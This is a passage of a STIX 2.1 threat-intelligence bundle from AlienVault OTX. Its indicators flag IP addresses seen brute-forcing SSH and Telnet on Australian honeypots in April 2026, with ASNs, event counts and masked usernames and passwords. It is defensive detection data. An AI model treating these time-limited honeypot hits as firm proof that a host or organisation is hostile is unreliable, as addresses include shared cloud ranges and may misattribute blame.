        "indicator--150f5aa3-707d-4306-9e02-3a3e065a7a8d",
        "indicator--c08da94d-319f-42e0-a317-9986f6752b53",
        "indicator--5a4b3138-9ca7-4ba3-b5cb-8e57f67688a8",
        "indicator--9368189e-c44a-4ca2-8346-e91e142e79f9",
        "indicator--d8340982-35e6-4c43-a92f-07079d5580d4",
        "indicator--b81bbb84-f269-4ded-8794-0e328821665d",
        "indicator--b9ad5e29-7782-47a8-9380-8e48ac0779fe",
        "indicator--b65acdfb-adcd-420b-92d7-62104ad832bf",
        "indicator--39f65cba-24a8-4b25-84f0-45a81afb0ccd",
        "indicator--718c4358-148b-41ad-9883-caca95754c04",
        "indicator--2b5474a8-3392-4bb3-9615-4689066a8934",
        "indicator--9145ec6f-122d-4eac-a015-6d206b48c0ec",
        "indicator--572b3fae-8caa-4cb7-a33d-acac08dc42a1",
        "indicator--284a8590-24f4-46a9-af64-10192f8a6bf6",
        "indicator--6f29f195-43cd-4f50-a85b-b9379dd63300",
        "indicator--363f3588-a926-46a6-9ff5-1d22453f5d45",
        "indicator--80a9b518-8d2a-421e-8f27-ef98a1904568",
        "indicator--6ea0b114-ef14-4c9a-8b37-8c4e4bc809d8",
        "indicator--c9254833-8861-4a8d-b43a-9c36214bcef2",
        "indicator--9788bc6b-ac8f-4a80-bfe4-a6dd333eea2d",
        "indicator--fa707c77-9223-4245-b7aa-49ec4561a4da",
        "indicator--c0718238-7e65-4714-b4b1-85d5584d4277",
        "indicator--2cfcc5f8-cab4-4400-95c9-d1c23d5cdf86",
        "indicator--9c3aad81-5fc2-4b7c-9b1d-9db43f83b1f1",
        "indicator--934ac320-43d4-4c8c-875f-0ab894f29bb8",
        "indicator--a9301e8a-f37a-4901-9b37-f8b819f623cb",
        "indicator--6be4299d-821c-46d7-8066-bd21f0b536f8",
        "indicator--de0fa535-09c3-4d45-bed6-fed3102d0139",
        "indicator--3d22dd59-a95a-43cb-b63a-09631730b27c",
        "indicator--ee04d6a2-b92c-45f7-aa39-b8bc9441f4a7",
        "indicator--3e253a44-73f4-46e6-8d69-a4576942e79e",
        "indicator--9adc5fd6-43eb-402a-bb09-f9fb258ad390",
        "indicator--75b21a6f-4623-4edf-b204-45f0d4571000",
        "indicator--cc449b14-1429-40c0-8363-db22bcc22366",
        "indicator--7e8fbda7-f6bd-45dc-b8ae-647530c26705",
        "indicator--92b4b3a4-748a-42e8-b89f-61740be2b3b5",
        "indicator--906f1c37-8e57-4ae6-8923-538c4afebd31",
        "indicator--3aecf967-ff9d-43bf-9064-e79f0537d22e",
        "indicator--34450a42-8620-446d-b64b-2f80d1fb284c",
        "indicator--a28f3dd0-93fa-42ee-9455-8a289bfa8947",
        "indicator--6db505ad-44d0-4221-9596-2bd3830ae71c",
        "indicator--01a0afb1-a13a-4fb3-9db5-40ad4c5b50a3",
        "indicator--24270fed-f19c-44b4-a223-bb495bd3a997",
        "indicator--443c21f3-436f-4363-acd9-c64b9ce65b1d",
        "indicator--4afc8782-7c89-4d40-9233-06e7cd923d85",
        "indicator--ced18ee4-93b0-4af8-9998-2863a1ab45e0",
        "indicator--d3a0d315-0db5-4649-adac-76b2b75e7d9d",
        "indicator--84246647-7fa3-4682-a003-3f58fdd16c2b",
        "indicator--2c492175-f208-4263-81e0-8b3030ed54a4",
        "indicator--4b585f3e-d044-49f4-940a-dc16420d98d0",
        "indicator--d7ad9b35-7956-4df6-851d-0e9bda33063e",
        "indicator--9e1f51ee-bfde-4c61-ba12-0cf6b0f2fa4b",
        "indicator--e1d8d8ad-2d41-4437-8c42-e2a2c793ea19",
        "indicator--124e8130-60d4-4971-b28a-353b571d2146",
        "indicator--53553348-6173-4260-baa9-9d778a743d79",
        "indicator--deafa287-637f-4648-93e5-26fb00b85cad",
        "indicator--9ea77883-bc6b-49b4-b222-f503cefb3d83",
        "indicator--fc337c8d-77ec-4102-89fc-11dbfd378547",
        "indicator--66ce8deb-e862-4af9-b618-f7baeca06ab9",
        "indicator--435b179b-6912-41f0-9f74-afb75bd6e001",
        "indicator--980ac674-8a4f-46d2-8aef-05832521ea7f",
        "indicator--57f0a980-12fe-4ed3-94be-52fb3cf81e06",
        "indicator--5fa8ede9-63d0-4697-85c0-931f2ffdc587",
        "indicator--d4a2dc95-6b66-4bf1-8a9b-6d357ca48d39",
        "indicator--0a9eb2ba-cd76-4ce8-a3ad-ffb155523cdb",
        "indicator--aaea7dbf-9d5e-43cf-895a-f60351d7e8cd",
        "indicator--231d9382-bace-4b1f-a354-30c510fd0bfb",
        "indicator--77393f19-4ef4-4972-81b9-a8f70c6bac59",
        "indicator--07e5429e-0ddb-4825-a100-b40fa5c28960",
        "indicator--2f992220-7b8b-4cb6-839f-b6a337b1fd6f",
        "indicator--2e3eb9c8-47aa-4273-af21-390f20e86462",
        "indicator--7e1e4ca6-9f59-40c7-a25c-748869a71f09",
        "indicator--8feee3d3-cb0f-4134-9339-0305da40e2e3",
        "indicator--3b407a97-1a9d-4c2e-a66f-256d49beb91e",
        "indicator--c10bd16a-4ad7-42cb-b91a-7b97e030fbcd",
        "indicator--5bf627d2-9d9e-4d5c-9f38-e8ceb0288b73",
        "indicator--8824169b-bbe0-409a-93ba-798070c5772a",
        "indicator--1e53e179-1072-4cf6-9383-39bb4dc220c2",
        "indicator--63829dda-11cb-483e-9aa1-c22ae56d3d7d",
        "indicator--b934e342-9360-4e9c-b05e-2b81b14f6bf0",
        "indicator--1a283032-d651-49cb-bbb4-3709bc079b45",
        "indicator--57dbc1c9-a491-4537-9271-6bc327fe8d5c",
        "indicator--dceced35-4a18-4af0-bcc7-eb38cdd972e4",
        "indicator--36e283c4-7868-4e12-bd92-98c14d2d5093",
        "indicator--7911225a-00f5-4d78-b2f6-623b2e543a6a",
        "indicator--196ca8d3-084f-4062-8d16-9a15c22c87f2",
        "indicator--25c0fb5e-852a-4e79-9616-8827b6916060",
        "indicator--32305e7a-69e9-4dd5-bc70-da8dc61e1144",
        "indicator--33d6f5f7-712c-47af-a60d-2a0a2941ce1c",
        "indicator--1ba245d5-6254-4dd4-872e-f7138493eca2",
        "indicator--da9d457e-8560-4ebd-b612-d5e47acf53b6",
        "indicator--518489c8-5589-40e2-b312-3dd614677255",
        "indicator--63cd4665-f941-46a2-856c-39b287fe6bf2",
        "indicator--9098e358-07d8-4f0b-98c1-c6856fcb29d6",
        "indicator--3d255621-5b3a-4017-8efe-704bcec77695",
        "indicator--b49345d9-7269-4b70-b7cc-705b3dbe0d5a",
        "indicator--fc1747b3-f79e-4b5c-a9f7-086b7d9ec9b7",
        "indicator--39733f1a-a928-449d-bc56-feda690b7374",
        "indicator--7140ca84-de69-4a28-8d7e-08f426db5004",
        "indicator--3ba0f4e0-b0d9-42f6-939a-64ddf103d91a",
        "indicator--b1c61e61-66d5-4efc-9089-07e01bca1032",
        "indicator--38185fa0-626a-49e0-85c0-5f9f2fcf1abc",
        "indicator--cc0c597c-5da5-41f9-8353-cd08272a50e7",
        "indicator--f0dd478a-74db-4f67-a823-e04f6d4b965f",
        "indicator--254b7f13-c21d-417c-b3d9-ddcf14719669",
        "indicator--f7312c8e-265b-4d41-9253-c055a51ab058",
        "indicator--12e80d44-0efe-4e62-be53-e4893fad7ac1",
        "indicator--cb66cd68-3bbe-4b91-b443-7aac931ec519",
        "indicator--6b3011ae-c810-4930-b7af-c1c170edf7cc",
        "indicator--ef4b0288-0a3c-4f64-b461-551b0c2facc4",
        "indicator--7e317809-de4d-43a2-b70f-5aee049a86fd",
        "indicator--656c8364-0157-4793-9cee-a8569d406717",
        "indicator--cf8a3df9-6fd3-43c3-8605-2b0cd11985b9",
        "indicator--de826a61-3c0b-42f2-8354-966f3fbb903e",
        "indicator--649cf2f5-0ae1-45c2-a997-a25f174ddf88",
        "indicator--5d45b0b9-906d-4daa-855e-ad07ffaed99d",
        "indicator--30857560-76eb-4352-a2b4-068d12761b38",
        "indicator--153c37d1-dfd7-499f-bac9-f7e1daf46c81",
        "indicator--54badfaf-2d60-4dc5-8e3f-82d16096fc8a",
        "indicator--e19c5c57-5915-4d1e-a893-515a95adac0a",
        "indicator--c18b6c82-83a0-4163-9fcd-1ed8dcb5d8ba",
        "indicator--97a8cf4e-9d21-4297-b741-b8a86c46ddb0",
        "indicator--d51e0194-fc44-43d0-b6e8-bdbb4ede8eb8",
        "indicator--635571ad-be20-4070-8472-dd4171203bf4",
        "indicator--ce94e5f7-0e7a-47f9-9872-d41def870b71",
        "indicator--aa8a7677-f5cd-44b9-b2a0-8df330d67c55",
        "indicator--148739d6-705b-4d7d-b96b-0f63b2740bce",
        "indicator--f4ec2293-55c9-483d-989e-47207d67aee6",
        "indicator--ab763164-b5ac-4888-a849-7d48e480a79b",
        "indicator--b732d1ce-c5b1-41a6-a506-8c15437ce924",
        "indicator--5615c377-8267-4159-a5e8-626a4db0281b",
        "indicator--fd69c222-9417-4122-825c-3c7c81b8d1f1",
        "indicator--0593caed-990e-42be-8ef6-f0c956eb66e0",
        "indicator--2f322ef7-af0f-4a6e-9dd2-c6a3701dad7a",
        "indicator--078fcbf3-23a6-4faf-a831-2f5b2d67b2a1",
        "indicator--3f5382ec-7fe8-4a3b-a72e-a22328eea7ec",
        "indicator--e796548f-5246-4550-8246-970d628db8a0",
        "indicator--48d1ce6f-a6f1-40a9-920c-2f6df480d51b",
        "indicator--af625b95-851c-49cc-b28a-4936f564d730",
        "indicator--5b38472c-6cf0-41a6-9cc3-72feea58a491",
        "indicator--c76a5c17-70b0-4774-b719-cc05847fa847",
        "indicator--35b1c20f-1dd7-4ce3-badb-449bd4bf27a1",
        "indicator--60692fbc-9f22-4e89-9be1-279e951ee930",
        "indicator--90a6012b-30e1-4807-a1d0-62105d811b29",
        "indicator--ae81962a-0a0d-4ba0-8645-110f90dce683",
        "indicator--0267fd68-941b-486e-9a2c-49c8b19505a2",
        "indicator--67fe8ff3-bb4a-43fb-87a5-eae0e31a11f1",
        "indicator--ef08ebee-39de-445a-b524-39cffa50c207",
        "indicator--e8e25048-fc5b-4bfc-8615-a608a54c8439",
        "indicator--95df9d80-ba4e-4fb9-8b51-384fe114fc6a",
        "indicator--32a37b5f-5e7a-47c1-975f-88ea130df867",
        "indicator--7f464768-673d-46a3-92ba-b048cfdfadda",
        "indicator--c42f7fc4-7f9c-45b3-9b13-345857eb125e",
        "indicator--3fd16605-e8c8-4221-a6c6-1bcf517408f6",
        "indicator--f0fb3eeb-0eed-4074-9ad9-b3c696141256",
        "indicator--8e511bfb-989f-4beb-a541-4a0e9a298315",
        "indicator--1ed32274-b27e-4982-81ee-6b29a312c911",
        "indicator--4604d183-d563-4570-8d88-5ddb3637d4f6",
        "indicator--81021643-535f-443d-9ea5-22f149a4b43f",
        "indicator--6cebaf16-1691-4c8c-9820-3cee885ddfb5",
        "indicator--0980e41c-3c8e-48c5-a93c-37dc19413feb",
        "indicator--fb4164c4-20c2-47ab-a012-08af8bb2a4e7",
        "indicator--3157c498-4b5d-4fad-9b4a-32c1395a9e57",
        "indicator--0abaa77d-9628-4e96-a77d-86815e321c7e",
        "indicator--d3b5bc2a-2cbf-4359-8b49-ceab442d9459",
        "indicator--742dd1b9-3015-4cff-847d-016337844239",
        "indicator--ee87e203-38ee-4449-92d4-add22f241492",
        "indicator--fcee781b-d813-4cec-835b-71f23f14d60f",
        "indicator--22dc7805-74fb-4fce-8ae0-c7470745a86b",
        "indicator--b49af45d-90e4-4247-98a5-6ea6e8cc3bf2",
        "indicator--b209e182-ba8a-47c0-83a8-2fb79d1c6250",
        "indicator--2ddc4788-01d0-42dd-90d3-4439bb8f182d",
        "indicator--52619142-3212-47e4-99e1-b3d197199945",
        "indicator--01a96865-9979-4c8c-a21a-9c61e4f0e34b",
        "indicator--e22b0672-1b01-4018-b491-3b1df40fda18",
        "indicator--088daec8-0b98-4d39-a4dc-977266f18427",
        "indicator--d356a559-72d1-4e91-8090-36908895d0dd",
        "indicator--5a3137c5-13a3-4e7f-881c-54a6ff217e6b",
        "indicator--086ea93f-71c8-4edd-b892-b766c8cfc49c",
        "indicator--dc8565a8-0858-4a97-b505-a7c8a51f9272",
        "indicator--e10be023-e5f1-49cd-9518-d601a72cf696",
        "indicator--d58e4008-61ce-4182-bf65-c648388541aa",
        "indicator--b7cb495f-a53a-454a-8a3f-b0e1440ca527",
        "indicator--3ef60270-021d-4dbe-9ee2-355dc50971d0",
        "indicator--cd8cdb13-f822-481d-a672-6e77fe22a1eb",
        "indicator--1e2b9a4b-b954-41bb-ad5d-5cbc1b64dfc4",
        "indicator--30abf695-4c8f-49b2-a42e-f31fc41d8b94"
      ],
      "published": "2026-04-01T00:15:09.153Z",
      "spec_version": "2.1",
      "type": "report"
    },
    {
      "contact_information": "https://otx.alienvault.com/",
      "created": "2026-04-01T00:15:09.153Z",
      "id": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "identity_class": "organization",
      "modified": "2026-04-01T00:15:09.153Z",
      "name": "Open Threat Exchange",
      "spec_version": "2.1",
      "type": "identity"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GH. ASN(s): 37350. Organisation(s): dds55. Usernames observed (masked): r**t, a***n, e***s, i*****l, s*****a. Passwords observed (masked): I***********************5, A**********4, S**************Z, T********1.",
      "id": "indicator--e5e9e272-f49e-476e-bf69-14dc1700b0bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.22.27.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 99. Sensors involved: Cowrie. Target ports: 22. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--99170b04-cb6e-4ffc-976a-0118cd639174",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '105.155.165.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc..",
      "id": "indicator--ef202c98-dc29-4388-ab55-e670f81b3091",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.19.53.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): 1****6, r**t. Passwords observed (masked): 1****1, 1****6.",
      "id": "indicator--ad3943e9-46a5-4958-895b-0dc4a4ad5e82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.110.145.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): A*******3, Q*******9, T********#.",
      "id": "indicator--780ba988-390d-46c8-9d98-2bf9be2a40f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.198.161.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group.",
      "id": "indicator--7bd82faa-a459-45a6-a521-50f074bd2996",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.238.156.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Fatt. Target ports: 53458, 2418, 12046, 15821, 22742. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.105.186.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 66. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): !*******d, 1*****6, A*****1, P********!, R******6.",
      "id": "indicator--91ffb409-c398-4def-8cd7-2af911d9d513",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.185.24.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): o****e. Passwords observed (masked): o****3.",
      "id": "indicator--c85ebcbc-6fa1-490d-831a-936638b75562",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.16.54.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 51852. Organisation(s): Private Layer INC. Usernames observed (masked): o****e. Passwords observed (masked): o****3.",
      "id": "indicator--9e96235e-911f-42f4-a5d4-9394d55a71ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.43.139.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): o****e. Passwords observed (masked): o****3.",
      "id": "indicator--e08e14c6-b164-4267-a80b-00782f42796c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.246.128.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): u**r. Passwords observed (masked): 2******2, 2******2, 2****8, 2******0, 2******5.",
      "id": "indicator--ad0543e9-cb1e-4d80-bf50-6bc64209f075",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 6799. Organisation(s): OTEnet S.A..",
      "id": "indicator--ced8b8d2-cf6a-443e-92e7-7974bd32e8d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.87.247.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: MY. ASN(s): 9930. Organisation(s): TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al.",
      "id": "indicator--5f487c3a-8ee3-47e4-a7b9-322987fe02ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.121.106.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): m****y. Passwords observed (masked): m****y, m*****1, m*******3, m********4, m*********5.",
      "id": "indicator--07494f95-3dca-41bb-90be-b4ac2d0f1303",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 325. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, c***o, d*******r, u**r. Passwords observed (masked): 1**4, 0*************7, 0********1, *, 1****6.",
      "id": "indicator--de9c1c3b-58f3-435c-8e8b-89ec29de3409",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.7.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 60. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 15169. Organisation(s): Google LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1*****3, 1****s, 2******1, 9**7, S*******3.",
      "id": "indicator--7e1c16a4-0e8a-4544-9a55-97f87349600c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.210.61.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 66. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA. Usernames observed (masked): r**t. Passwords observed (masked): 1*******c, 1********3, 1*****4, A*******3, C*******@.",
      "id": "indicator--91bb8d16-34fa-4c3d-8aba-9d16a8463438",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.59.229.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 3******., 3****q, a*********!, x*****..",
      "id": "indicator--01a291fa-ff77-4a7c-8fae-976e510b37b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '50.212.116.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:15:09.000Z",
      "valid_until": "2026-05-03T00:15:09.000Z"
    },
    {
      "created": "2026-04-01T00:15:09.000Z",
